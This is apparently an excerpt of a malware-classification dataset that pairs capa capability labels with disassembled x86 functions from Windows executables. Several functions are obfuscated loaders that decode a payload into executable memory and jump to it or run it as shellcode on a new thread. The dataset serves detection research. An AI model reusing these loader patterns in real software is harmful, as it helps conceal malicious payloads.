joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003d694
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
or eax, dword [ebp + 8]
je 0x1003d6a5
pop ebp
jmp fcn.100635a0
push 5
call fcn.100649b2
pop ebp
ret 8

Function at 0x10042ae0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0xb]
mov esi, dword [eax]
mov edi, dword [eax + 4]
add edi, esi
mov edx, ecx
add edx, eax
test cl, cl
cmovs edx, edi
cmovs eax, esi
sub edx, eax
mov ecx, edx
cmp edx, 4
jb 0x10042b2e
imul esi, dword [eax], 0x5bd1e995
mov edi, esi
shr edi, 0x18
xor edi, esi
imul esi, edi, 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
xor ecx, esi
add eax, 4
add edx, 0xfffffffc
cmp edx, 3
ja 0x10042b08
cmp edx, 1
je 0x10042b4f
cmp edx, 2
je 0x10042b46
cmp edx, 3
jne 0x10042b5a
movzx edx, byte [eax + 2]
shl edx, 0x10
xor ecx, edx
movzx edx, byte [eax + 1]
shl edx, 8
xor ecx, edx
movzx eax, byte [eax]
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop esi
pop edi
pop ebp
ret 4

Function at 0x10043f74
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x804
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [ebp - 0x10], eax
test ecx, ecx
jle 0x10043ffc
mov edi, edx
mov esi, ecx
mov eax, 0x800
lea ebx, [ebp - 0x810]
push eax
push 0xff
push ebx
call fcn.101db130
add esp, 0xc
call fcn.1001f412
mov ecx, dword [eax]
or ecx, 2
push dword [ebp + 8]
push 0
push edi
mov edx, 0x800
push edx
push ebx
push dword [eax + 4]
push ecx
call fcn.101e40f5
add esp, 0x1c
lea eax, [esi - 1]
cmp eax, 3
ja 0x10043ff5
push dword [esi*4 + 0x10211310]
call fcn.101e40f5
add esp, 4
push ebx
push 0x10211310
push eax
call fcn.1002c4cc
add esp, 0xc
push ebx
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d7611
add esp, 0x804
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x100441a4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff0
sub esp, 0x40
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [esp + 0x30], eax
mov eax, dword [0x102440c0]
mov ecx, dword [0x1028ef04]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 0x14]
jg 0x100441ef
mov esi, dword [0x102440bc]
mov ecx, dword [esp + 0x30]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
lea esp, [ebp - 4]
pop esi
pop ebp
ret
push 0x102440c0
call fcn.101e40f5
add esp, 4
cmp dword [0x102440c0], 0xffffffff
jne 0x100441d6
pcmpeqd xmm0, xmm0
mov esi, esp
movdqa xmmword [esi + 0x10], xmm0
movdqa xmmword [esi], xmm0
mov dword [esi + 0x20], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x102440bc], eax
push 0x102440c0
call fcn.101e40f5
add esp, 4
jmp 0x100441d6
Function at 0x10080fbd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x21c
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x21c]
push 0x20c
push 0xff
push edi
call fcn.101db130
add esp, 0xc
mov dword [edi - 0xc], edi
mov dword [edi - 8], edi
lea ecx, [ebp - 0x14]
mov dword [edi - 4], ecx
mov eax, 0x104
mov esi, dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov ebx, edi
mov edx, ecx
sub edx, ebx
sar edx, 1
cmp edx, eax
jae 0x1008102c
add eax, eax
lea ecx, [ebp - 0x228]
push 2
push eax
push edi
call fcn.10081f78
mov ebx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x220]
sub ecx, ebx
sar ecx, 1
push ebx
push ecx
call esi
test eax, eax
je 0x10081070
mov ebx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x220]
mov edx, ecx
sub edx, ebx
sar edx, 1
cmp eax, edx
ja 0x10081005
lea ecx, [ebx + eax*2]
mov dword [ebp - 0x224], ecx
mov esi, dword [ebp + 8]
mov ecx, esi
mov edx, 0xfde9
push dword [ebp + 0xc]
push eax
push ebx
call fcn.1008153e
add esp, 0xc
jmp 0x10081083
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov esi, dword [ebp + 8]
push esi
call fcn.1007f423
add esp, 8
mov eax, dword [ebp - 0x228]
cmp eax, edi
je 0x10081096
push eax
call fcn.101e40f5
add esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
add esp, 0x21c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10081191
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x160
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [esp + 0x158], eax
lea esi, [esp + 0x54]
push 0x104
push 0xff
push esi
call fcn.101db130
add esp, 0xc
mov dword [esi - 0xc], esi
mov dword [esi - 8], esi
lea eax, [esp + 0x154]
mov dword [esi - 4], eax
xor esi, esi
lea eax, [esp + 0x10]
mov dword [eax + 0x24], esi
mov dword [eax + 0x20], esi
xorps xmm0, xmm0
movaps xmmword [eax + 0x10], xmm0
movaps xmmword [eax], xmm0
mov dword [eax + 0x28], 0xffff
xor edi, edi
dec edi
lea ebx, [esp + 8]
mov dword [ebx], edi
mov dword [ebx + 4], edi
push eax
push dword [ebp + 0xc]
push ebx
call fcn.100807f3
add esp, 0xc
cmp dword [ebx], esi
je 0x1008123a
mov esi, dword [ebp + 8]
call fcn.101ad951
cmp dword [esp + 0xc], eax
jne 0x10081286
cmp dword [esp + 8], 2
jne 0x10081286
cmp byte [ebp + 0x10], 0
je 0x10081286
mov dword [esi], 0
call fcn.101ada37
mov dword [esi + 4], eax
jmp 0x10081290
mov esi, dword [ebp + 8]
mov dword [esi], edi
mov dword [esi + 4], edi
lea eax, [esp + 0x48]
push eax
push dword [ebp + 0xc]
push esi
call fcn.10080c93
add esp, 0xc
cmp dword [esi], 0
lea edi, [esp + 0x54]
jne 0x10081294
cmp dword [esp + 0x34], 3
jne 0x100812bd
mov word [esp + 8], 0
lea ecx, [esp + 0x48]
push ebx
call fcn.10081508
lea eax, [esp + 0x48]
add dword [eax + 4], 0xfffffffe
push dword [eax]
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
jmp 0x100812de
movsd xmm0, qword [esp + 8]
movsd qword [esi], xmm0
lea edi, [esp + 0x54]
mov eax, dword [esp + 0x48]
cmp eax, edi
je 0x100812a5
push eax
call fcn.101e40f5
add esp, 4
mov ecx, dword [esp + 0x158]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [esp + 8], 0
lea ecx, [esp + 0x48]
push ebx
call fcn.10081508
lea eax, [esp + 0x48]
add dword [eax + 4], 0xfffffffe
push dword [eax]
call dword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
jne 0x1008130f
xor eax, eax
dec eax
mov dword [esi], eax
mov dword [esi + 4], eax
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
call fcn.1007f423
add esp, 8
call fcn.101ad951
cmp dword [esi + 4], eax
jne 0x10081294
cmp dword [esi], 2
jne 0x10081294
cmp byte [ebp + 0x10], 0
je 0x10081294
mov dword [esi], 0
call fcn.101ada37
mov dword [esi + 4], eax
jmp 0x10081294
Function at 0x101e40f5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x101e4104
pop dword [ebp - 0x18]
mov eax, 0x101e4104
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x69f200bd
add dword [ebp - 0x28], 0xe460448e
mov dword [ebp - 0x24], 0x41ffafc8
add dword [ebp - 0x24], 0xf0339c7d
mov dword [ebp - 0x20], 0x4e74c401
add dword [ebp - 0x20], 0xfdd7802d
mov dword [ebp - 0x1c], 0x5611bc30
add dword [ebp - 0x1c], 0xa9ee43d0
lea eax, [ebp - 0x28]
push eax
mov eax, 0xab81125b
sub eax, 0x9b5d2cdb
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xbb30c1a8
add dword [ebp - 0x28], 0xb941a7ae
mov dword [ebp - 0x24], 0x3b048e59
sub dword [ebp - 0x24], 0xf9982ce4
mov dword [ebp - 0x20], 0x5acfddb
sub dword [ebp - 0x20], 0xa23d916f
mov dword [ebp - 0x1c], 0xe7cc75b9
sub dword [ebp - 0x1c], 0xe7cc75b9
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x49855
push 0
call eax
mov ecx, 0x87bbe916
sub ecx, 0x87bb915a
mov esi, eax
mov edi, 0xc066a29f
add edi, 0x4fc3a361
add edi, dword [ebp - 0x18]
mov ebx, 0x3c335a31
add ebx, 0x8ad55f14
sub dword [ebp - 4], ecx
mov edx, dword [edi]
add dword [ebp - 4], 0x61de9053
add edx, ebx
xor dword [ebp - 4], eax
mov dword [esi], edx
add dword [ebp - 0xc], 0x6361917c
add esi, 0x67410522
sub esi, 0x6741051e
add edi, 4
loop 0x101e421c
add eax, 0x60908be8
sub eax, 0x608f3a25
xor ebx, ebx
add ebx, eax
add eax, 0x9d88757e
sub eax, 0x9d887579
mov ecx, sym.libGLESv2.dll_Ordinal_0
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402a7e
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x402acb
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x58
push 0x41f390
push 0x4738b0
mov byte [edi + esi], al
call fcn.00401374
push eax
call fcn.004019f8
mov al, byte [edi + esi]
add esp, 0xc
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402a8c
pop edi
pop esi
ret

Function at 0x402f68
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x472700]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x41f3b0
lea ecx, [ebp - 0x1c]
call fcn.00401af2
push 0xc
call fcn.004065e4
xor esi, esi
pop ecx
test eax, eax
je 0x402fa1
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401b4b
jmp 0x402fa3
mov eax, esi
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x472220
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
push esi
push esi
push esi
push 0x402a6c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call fcn.00402a52
mov edx, 0x472220
add edx, 0x188
mov esi, 0x429020
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00402918
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00406622
leave
ret

Function at 0x4071ff
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x40723e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40723e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40723e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40723e
cmp dword [ecx + 0x74], 0xe
jbe 0x40723e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411ef9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422500
push 0x4224f8
push 0x420d94
push 0x1e
call fcn.00411d66
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411f2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f140]
call esi
jmp 0x411f33
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x2d817083
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e2e01
call fcn.2d805d6a
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d8170b6
xor al, al
jmp 0x2d81717e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
push 0x100
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.2d8cf86e
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d81712f
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d81712f
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d8cf86e
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d81717c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d817173
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d8cf86e
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d8cf86e
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
Function at 0x2d8357c4
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e5ab1
call fcn.2d805d6a
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d8cf86e
pop ecx
test al, al
je 0x2d83591e
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
push dword [ebp - 0x44]
push 1
call fcn.2d8cf86e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835926
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82c3ac
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8361de
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8358a4
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d835898
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d8cf86e
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d8cf86e
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8358c0
cmp eax, 5
jne 0x2d8358c2
mov bl, 1
mov eax, dword [0x2d96a8d4]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8fb384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d83591e
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835915
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d8cf86e
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d8cf86e
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
xor al, al
jmp 0x2d835920
Function at 0x2d8cf86e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x2d8cf87d
pop dword [ebp - 0x34]
mov eax, 0xca779a55
add eax, 0x63155e28
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xf3597060
sub dword [ebp - 0x44], 0xa5072b15
mov dword [ebp - 0x40], 0x87fd02e8
add dword [ebp - 0x40], 0xaa36495d
mov dword [ebp - 0x3c], 0x218241a5
sub dword [ebp - 0x3c], 0xd535fd77
mov dword [ebp - 0x38], 0x42e2cd76
sub dword [ebp - 0x38], 0x42e2cd76
lea eax, [ebp - 0x44]
push eax
mov eax, 0x98ce3701
add eax, 0x94c17987
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x6972f514
add dword [ebp - 0x44], 0xaff7442
mov dword [ebp - 0x40], 0xe6ecc92b
add dword [ebp - 0x40], 0x5a7f984a
mov dword [ebp - 0x3c], 0x69d7b844
sub dword [ebp - 0x3c], 0x6684bd8
mov dword [ebp - 0x38], 0xdd126b10
sub dword [ebp - 0x38], 0xdd126b10
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x5cbc94fb
sub eax, 0x2f2ce46b
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x6ec7c
push 0
call eax
mov ecx, 0x56b1
mov ebx, eax
mov esi, 0xc3c1ce9a
sub esi, 0x9626ee9a
add esi, dword [ebp - 0x34]
mov edi, 0x99cee1b0
sub edi, 0x289b3900
mov dword [ebp - 8], 0x9a3eb06c
mov edx, dword [esi]
add dword [ebp - 0x30], esi
xor edx, edi
mov dword [ebx], edx
add ebx, 0x1e71d4db
sub ebx, 0x1e71d4d7
add esi, 0x9f146a3c
add esi, 0x60eb95c8
loop 0x2d8cf999
add eax, 0xc05574e
add eax, 0xf3fbf649
mov ebx, eax
add eax, 5
mov ecx, 0x2d800000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x40c818
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004075d7
mov dword [ebp - 0x14], eax
cmp dword [0x814434], esi
jne 0x40c90b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c898
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c9eb
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c9eb
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c9eb
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x814434], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x814438], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x81443c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x814444], eax
test eax, eax
je 0x40c908
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x814440], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c930
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c923
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c945
push 4
pop eax
jmp 0x40c9ed
cmp dword [ebp - 0x14], esi
je 0x40c945
push dword [0x814434]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c92a
mov eax, dword [0x814440]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c9a3
cmp dword [0x814444], edi
je 0x40c9a3
push eax
call ebx
push dword [0x814444]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c9a3
test eax, eax
je 0x40c9a3
call ecx
test eax, eax
je 0x40c998
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c998
test byte [ebp - 8], 1
jne 0x40c9a3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c9d3
mov eax, dword [0x814438]
cmp eax, edi
je 0x40c9d0
push eax
call ebx
test eax, eax
je 0x40c9d0
call eax
mov esi, eax
test esi, esi
je 0x40c9d0
mov eax, dword [0x81443c]
cmp eax, edi
je 0x40c9d0
push eax
call ebx
test eax, eax
je 0x40c9d0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x814434]
call ebx
test eax, eax
je 0x40c9eb
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c9ed
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f7e
mov esp, ebp
pop ebp
ret
Function at 0x4015e8
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x437798
call fcn.004018f4
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x43a4b4
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4013a9
cmp eax, esi
jne 0x40139c
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4013ac
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401383
xor esi, esi
inc esi
mov eax, dword [0x43a4b0]
cmp eax, esi
jne 0x4013bf
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4013ee
mov eax, dword [0x43a4b0]
test eax, eax
jne 0x4013e8
mov dword [0x43a4b0], esi
push 0x42b2b0
push 0x42b2a4
call fcn.004012f2
pop ecx
pop ecx
test eax, eax
je 0x4013ee
jmp 0x401516
mov dword [0x43995c], esi
mov eax, dword [0x43a4b0]
cmp eax, esi
jne 0x401412
push 0x42b2a0
push 0x42b298
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x43a4b0], 2
test ebx, ebx
jne 0x40141e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x43a4b8], 0
je 0x401442
push 0x43a4b8
call fcn.00401834
pop ecx
test eax, eax
je 0x401442
push 0
push 2
push 0
call dword [0x43a4b8]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40149e
test al, al
je 0x40145c
cmp dword [ebp - 0x1c], 0
jne 0x40149e
mov al, byte [esi]
test al, al
je 0x40146c
cmp al, 0x20
ja 0x40146c
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40145c
test byte [ebp - 0x3c], 1
je 0x401478
movzx eax, word [ebp - 0x38]
jmp 0x40147b
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x439958], eax
cmp dword [0x43994c], 0
jne 0x4014f2
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x4014ad
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4014c0
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x401449
cmp dword [0x43995c], 0
jne 0x401501
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x439958]
jmp 0x401522
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00401939
ret
call fcn.00401a23
jmp 0x401349
Function at 0x401d2e
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x130
push ebx
push ebp
push esi
push edi
push 0x32
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
and dword [esp + 0x14], 0
lea edi, [esp + 0x18]
mov ebp, dword [sym.imp.USER32.dll_SendMessageW]
mov edx, eax
push 0xa
pop ecx
xor eax, eax
mov dword [esp + 0x10], edx
rep stosd dword es:[edi], eax
push 3
pop esi
mov edi, 0x43938c
push 0xf000
lea eax, [esi - 3]
push eax
push 0x102c
push edx
call ebp
mov ecx, dword [edi]
mov edx, eax
shr edx, 0xd
shr ecx, 0xc
and edx, 1
and ecx, 1
cmp ecx, edx
je 0x401e17
xor ebx, ebx
xor eax, eax
test esi, esi
jle 0x401da9
test dword [eax*4 + 0x439380], 0x1000
je 0x401da4
inc ebx
inc eax
cmp eax, esi
jl 0x401d96
mov eax, edx
shl eax, 0xc
xor eax, dword [edi]
and eax, 0x1000
xor dword [edi], eax
test byte [0x43b4e0], 1
je 0x401e17
test edx, edx
je 0x401e07
lea eax, [esp + 0x40]
mov dword [esp + 0x14], 0xe
mov dword [esp + 0x20], eax
lea edx, [esp + 0x40]
mov eax, dword [edi]
mov ecx, eax
shr eax, 0xd
and ecx, 0x3f
and eax, 0x1ffff
mov dword [esp + 0x28], ecx
push 0x80
mov dword [esp + 0x20], eax
call fcn.00403838
pop ecx
lea eax, [esp + 0x14]
push eax
push ebx
push 0x1061
jmp 0x401e0f
push 0
push ebx
push 0x101c
push dword [0x43b568]
call ebp
mov edx, dword [esp + 0x10]
inc esi
add edi, 4
cmp esi, 0x29
jb 0x401d65
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x130
ret

Function at 0x4021e7
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
lea eax, [ebp - 0x320]
push dword [ebp + 0x10]
push 0x190
push eax
push 0x42b370
push edx
push str.General
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, dword [ebp + 0xc]
add ecx, ecx
cmp eax, ecx
jl 0x40222f
